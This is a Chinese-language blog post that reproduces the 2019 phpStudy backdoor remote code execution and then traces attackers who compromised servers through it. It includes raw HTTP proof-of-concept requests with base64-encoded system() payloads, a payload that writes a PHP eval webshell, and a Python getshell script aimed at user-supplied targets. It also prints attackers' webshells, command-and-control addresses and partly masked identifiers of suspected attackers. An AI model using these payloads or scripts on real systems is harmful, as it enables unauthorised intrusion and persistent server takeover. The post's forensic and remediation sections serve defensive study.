phpStudy远程RCE漏洞复现以及沦陷主机入侵溯源分析
作者:admin | 时间:2019-10-22 15:52:05 | 分类:黑客技术 隐藏侧边栏展开侧边栏
前言:
各位FreeBuf观众的姥爷大家好,我是艾登——皮尔斯(玩看门狗时候注册的ID),最近安全圈好不热闹,北京时间9月20日“杭州公安”官微发布了“杭州警方通报打击涉网违法犯罪暨’净网2019′专项行动战果”推文,该“后门”无法被杀毒软件扫描删除,并且藏匿于软件某功能性代码中,极难被发现具有免杀性质。严重的威胁到了互联网的空间安全,让大量的互联网网名的个人隐私信息遭到存在大面积泄露的风险,这篇文章分为图文教程和视频教程(文章末尾)。
文章目录:
1.phpstudy后门检测
2.phpstudy远程RCE后门复现图文教程
3.phpstudy远程RCE后门复现教视频程
3.Python编写复现脚本
4.Python编写批量复现脚本
5.针对部署phpstudy环境服务器已沦陷的主机进行溯源分析/黑客入侵画像
6.修复建议
7.参考
准备工具:
VMware Workstation Pro
Windows7的/ 2008R2
BurpSuiteFree
phpStudy20161103.zip(文中使用)phpStudy20180211.zip
Python
一、phpstudy后门检测:
(1)phpStudy20161103 后门位置存在于:
*:\phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll
*:\phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll
(2)phpStudy20180211后门位置存在于:
*:\PHPTutorial\PHP\PHP-5.2.17\ext\php_xmlrpc.dll
*:\PHPTutorial\PHP\PHP-5.4.45\ext\php_xmlrpc.dll
(3)找到“ php_xmlrpc,dll”后用记事本打开,“ Ctrl + F”搜索“ @eva ”字符串如果存在就存在后门:
(4)Phpstudy后门分析文章传送门:
二、phpstudy远程RCE后门复现图文教程:
(1)虚拟机搭建好Phpstudy环境,我这里使用的是phpstudy2016版本
Phpstudy环境192.168.1.91
(2)浏览器访问靶机地址:http://192.168.1.91/
(3)浏览器设置本地代理并且打开BurpSuiteFree抓包
(4)phpstudy RCE POC:
GET / HTTP/1.1
Host: 192.168.43.99
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip,deflate
Accept-Charset:”commandbase64 string”
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
(5)CTRL + R把请求包转发到中继器模块
Accept-Charset:”command base64 string”中执行命令经过了的的Base64编码加密:
执行语句指令:system(‘whoami’);
BASE64 编码后:c3lzdGVtKCd3aG9hbWknKTs =
替换进去
Accept-Charset: c3lzdGVtKCd3aG9hbWknKTs=
还要把“ ”中的前面的空格删除。Accept-Encoding: gzip, deflatedeflate
(6)构造好执行语句为WHOAMI的POC如下:
GET / HTTP/1.1
Host: 192.168.1.91
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip,deflate
Accept-Charset: c3lzdGVtKCd3aG9hbWknKTs=
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
(whoami执行结果)
(net user执行查询查询查询查询结果)
(7)写入webshel升的操作
可以使用待办事项命令下ECHO 实现
系统(“ write_webshell”);
(8)完整写出webshel升的语句:
ECHO ^<?php @eval($_POST[cmd]);?^>>"C:/phpStudy/WWW/demon.php
(10)拼接后的语句
system(' ECHO ^<?php@eval($_POST[cmd]); ?^>>"C:/phpStudy/WWW/demon.php ');
(11)拼接好Base64 编码后的代码:
c3lzdGVtKCcgRUNITyBePD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Xj4+IkM6L3BocFN0dWR5L1dXVy9kZW1vbi5waHAgJyk7
(成功写入的webshel)
(中国蚁剑连接成功)
(中国蚁剑链接的webshel升命令执行成功)
(12)视频复现:
三、Python复现phpstudy远程RCE漏洞:
(1)Python 编写Phpstudy2016 / 2018远程RCE利用脚本代码:
import base64 import requests
print( ''' ============================================================================================== >>>>>>>>>>>>>>>>Phpstudy 2016/2018 远程 RCE Getshel工具<<<<<<<<<<<<<<<< [+]By:艾登——皮尔斯 [+]脚本仅用学习教育目的 [+]请您务必遵守《中华人民共和国网络安全法》 ============================================================================================== ''') def write_shell(url,headers): r = requests.get(url=url, headers=headers)
cheack_webshell = requests.get(url+"/demon.php") if cheack_webshell.status_code == 200:
print("\n\n[+]{} Webshell写入成功".format(url)) else:
print("\n\n[+]{} Webshell写入失败".format(url))
print("\n=======================================================\n\n") while True:
path = input(str("请你输入绝对路径:"))
url = input(str("请你输入IP地址/域名:"))
payload_qury = """system('ECHO ^<?php @eval($_POST[cmd]); ?^>>"{}/demon.php"');""".format(path)
payload = base64.b64encode(payload_qury.encode('utf-8'))
payload = str(payload, 'utf-8')
headers = { 'Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3','Accept-Language': 'zh-CN,zh;q=0.9','accept-charset': payload,'Accept-Encoding': 'gzip,deflate','Connection': 'close',}
write_shell(url=url, headers=headers)
(2)我们可以看到上面的这个Python复现phpstudy远程RCE的脚本针对于单一命令的phpstudy部署的站点例如这种界面额的还比较方便,如果我们不知道绝对路径是不是就不能写入webshell了?????其实这并不会!!!!
(3)针对于phpstudy指针页面无法访问的我们其实可以枚举一下他的物理路径地址即可,不知道绝地路径可以枚举一下物理的绝对理解
Path=['C:/php/WWW',"D:/php/WWW","E:/php/WWW"........]
然后把列表中的绝地地址元素传入函数中递归请求判断即可,这里就不贴出代码了。
(4)与此同时各位老表在进行枚举检测,但是作为一个白帽子,千万不要越过红线。建议大家检测的时候不要写入一句话木马,直接写出一个phpinfo();比较好也是保护了自己。
(5)Python脚本复现Phpstudy 2016/2018远程RCE漏洞效果:
四、针对部署phpstudy环境服务器已被入侵的主机进行溯源分析:
(1)我在进行随机检测phpstudy的时候已经发现了部分感染主机被黑帽SEO利用了,用于增加搜索引擎关键词的排名来吸引流量。
(2)部分检测到存在漏洞phpstudy服务器主机网站根目录下高频出现的php一句话木马文件名如下:
(3)下面的这三位仁兄(大黑客)就是通过了echo的方式写入了webshell一句话木马到网站的根目录下进行链接,先放到一边后面在一起做后门取证。
(4)另类的后门“lishunsheng.php”应该是一个人名的拼音,应该是李姓氏的。
ZnB1dHMoZ**wZW4oJy4vdGVzdC5waHAnLCd3KycpLCc8P3BocCBldmFsKCRfUE9TVFtjXSk7Pz4nKTs=
(5)解密后
fputs(fopen('./test.php','w+'),'<?php eval($_POST[c]);?>');
(6)写出文件名为”text.php”链接密码为“c”的webshell一句话木马到网站根目录下方
(7)还有其他的黑客是通过phpmyadmin登录弱口令密码的系统日志文件写入webshell进来的
2019年9月23日17时30分33秒写入
2019年9月23日18时16分33秒写入webshell
图片转载自腾讯电脑管家
(8)上面在9月23日写入webshell一句话后,大黑客又通过一句话木马webshell上传了一个文件名为“001122.php”的webshell不死马基本可以先贴个标签是同一个大黑客的攻击入侵行为,在这里也可以看出phpstudy一键部署应该把phpmyadmin的默认密码给修改成随机字符串,此前就有安全团队针对此问题被黑产批量getshell的活动进行了分析。
五、针对部署phpstudy环境服务器已沦陷的主机进行溯源分析/黑客入侵画像
(1)我们现在已经拿到了那些黑客的的webshell一句话后门文件现在就要开始溯源黑客的IP地址,emmmmm,由于我不能直接登录受感染的主机查看访问日志文件,那么这就会非常的尴尬,但是我突然想起了之前我之前给广东省某市的网络执法机构做了一个用来记录黑客访问webshell一句话时候的IP地址的脚本,并且通过邮件或者微信把信息发送给执法人。
(2)但是在检测之前我需要对他们的webshell一句话木马做一下加工处理,黑客原先留下的webshell代码如下:
<?php
@eval($_POST[ppass]);
?>
(3)我们加工处理黑客留下的后的webshell代码如下
<?php
$address = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$file = fopen("log.html", "a");
$time = time();
$now_date= date('Y-m-d H:i:s',$time);
fwrite( $file, "<b>Time:$now_date</b><br>" );
fwrite( $file, "<b>IP Address:$address</b><br>");
fwrite( $file, "<b>Referer:$referer</b><br>");
fwrite( $file, "<b>Browser:$browser</b><br/><hr>");
fclose($file);
@eval($_POST[ppass]);
?>
(4)log.html的路径地址可以修改到存放到网站根目录下的其他文件下,避免被发现哈哈哈,
当黑客使用中国菜刀/中国蚁剑访问webshell的时候就会记录下IP地址/访问时间/请求头等信息到log.html文件中
(5)模拟黑客访问webshell前
(6)模拟黑客访问websell后
(7)然后本地或者VPS上定时访问请求log.html把最新的访问信息通过Email邮件的方式发送给执法机关/溯源工程师,
(8)访问检测已经可以达到了秒级,时间的精度也是非常之高。然后就给全部黑客的webshell加工一下,然后我们在调用本地的脚本使用一个并发的请求去请求所有的站点log.html静静等待邮件即可。但是这里并不建议并发请求容易被防火墙封锁IP,所以我就使用了单线线程模式并且使用tiime模块的time.sleep设置了请求延迟,我设置了10秒访问一次。
(9)设置完毕之后就可以直接运行监听脚本了
(10)在经过十多个小时的等待,我终于等待到了那些大黑客重新访问他们预留下来的Webshell地址了,手机QQ邮箱也收到了邮件通知
(11)本次等待共获取到144条webshell访问记录,主要的访问IP地址如下:
IP地址 | 归属地 |
---|---|
149.129.98.81 | 香港 阿里云 |
23.223.201.26 | 美国乔治亚州亚特兰大 |
72.21.81.189 | 美国 加利福尼亚 |
(12)此外我还注意到网站的根目录文件夹下方被上传了远程木马病毒(方便黑客后期长时间维持权限访问)如下图:
那么接下来就是进行给黑客入侵画像:
(1)Windows7 64bit System 虚拟机样本未运行初始化状态
(2)执行cd.exe程序后本地端口49189端口被占用,链接的外部C&C的上线地址:114.67.65.156:8081
(3)查壳:
UPX压缩壳使用C++编写的win32木马程序
火绒剑分析:
(1)运行后会删除自身文件(cd.exe)并且会复制自身到C:\Windows下方
C:\Windows\system32\cmd.exe” /c del C:\Users\ADMINI~1\Desktop\cd.exe > null
删除母体
写入木马文件到C:\Windows\目录下
(2)注册行为:修改了以下注册表以此降低Internet安全设置。
(3)向网关地址发送数据包:
腾讯安全御见威胁情报中心撰写了的分析文章报告
(4)与114.67.65.156:8081C&C上线服务器地址建立TCP通信链接
114.67.65.156主机3389端口开放(Windows主机无疑)
(5)开启了web服务80端口访问IP发现有一个网站
(6)发现是一个做SEO的泛微目录的站点,留意到网站上面留下了这个站长的微信二维码
微信号尾号为H****553YM
QQ:64****08
就先叫他53YM大黑客
(7)纯真IP库查询IP的归属地指向了一家名为”北京市 凯达永易科技(北京)有限公司”的公司
去天眼查网站查询这家公司发现公司已注销
(8)然后我顺便去Google搜索了一下这个C&C上线地址,发现已经有安全团队分析了类似样本
2018.exe 211.149.225.80:3313(大灰狼木马)
inJoin.ps1是一个远程注入工具该PowerShell脚本具有3个基本功能集:
1.)将DLL反映性地加载到PowerShell进程中
远程或本地运行时,可以将DLL输出返回给用户。
DLL完成执行后,清理PS进程中的内存。
2.)将EXE反射性地加载到PowerShell进程中。
远程运行时无法将EXE输出返回给用户。如果需要远程输出,则必须使用DLL。如果在本地运行,则可以返回EXE输出。
DLL完成执行后,清理PS进程中的内存。
非常适合运行EXE的现有渗透测试工具,而无需触发过程监控警报。
3.)以反射方式将DLL注入到远程进程中。
在远程或本地运行时,无法将DLL输出返回给用户。
如果DLL完成执行,则不清理远程进程中的内存。
非常适合通过将后门DLL注入另一个进程内存来在系统上植入后门。
期望DLL具有此功能:void VoidFunc()。这是在DLL加载后将被调用的函数。
如果通俗点用人话来讲就是利用PowerShell来远程注入DLL的脚本
此PowerShell项目的Github项目地址:
此PowerShell项目作者的说明:
https://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
这里的江西赣州的黑客所使用的就是上图红圈选圈中的PowerShell脚本
然后查看他一下他的PowerShell脚本
其中$InputString是黑客把自己的恶意的二进制文件通过Base64转写后的字符串信息
在通过PowerShell[System.Convert]::FromBase64String的方法是为上面二进制文件加密的字符串信息进行解密执行
InputString中Base64编码的字符串解密还原后为Metasploit生成的二进制文件。
PowerShell还原解密方式:
$Base64Bytes = Get-Content (base64.txt)
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
Set-Content calc.exe -Value $PEBytes
C#还原解密方式:
using System; using System.IO; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace test1 { class Program { static void Main(string[] args) { byte[] AsBytes = File.ReadAllBytes(@"C:\test\base64.txt");
String AsBase64String = Convert.FromBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@"C:\test\calc.exe");
sw.Write(AsBase64String);
sw.Close();
}
}
}
这个江西赣州的黑客够专业我喜欢
inJoin.ps1 上线地址为117.21.224.222:9898
木马文件名及上线地址如下图所示:
木马文件名字 | C&C上线地址 | 归属地 |
---|---|---|
2018.exe | 211.149.225.80:3313 | 中国四川绵阳 |
cd.exe | 114.67.65.156:8081 | 中国上海京东云 |
inJoin.ps1 | 117.21.224.222:9898 | 中国江西赣州 |
Index.php | 无(黑客后期上传大马,未抓取IP地址) | 无 |
修复建议:
1.前往官网下载phpstudy下载最新版本
2.修改服务器密码,检查系统日志文件,下载安装火绒杀毒软件进行全盘查杀病毒后门,以防生产环境被入侵者留下后门
2.开发人员应该尽量在生产环境中杜绝使用一键部署类型的软件和脚本防止软件留有后门,导致服务器病毒木马入侵
3.关注多一些风险预警平台”微步”/或者关注威胁情报收集的微信公众号”黑鸟“还有就是我的winway-鱼蛋师傅的漏洞挖掘公众号”快识“。
参考:
phpStudy后门简要分析:
数十万PhpStudy用户被植入后门,快来检测你是否已沦为“肉鸡”!:
杭州警方通报打击涉网违法犯罪暨’净网2019′专项行动战果
病毒团伙利用phpStudy RCE漏洞批量抓鸡,下发四个远控木马
渗透技巧——通过cmd上传文件的N种方法
*本文原创作者:艾登——皮尔斯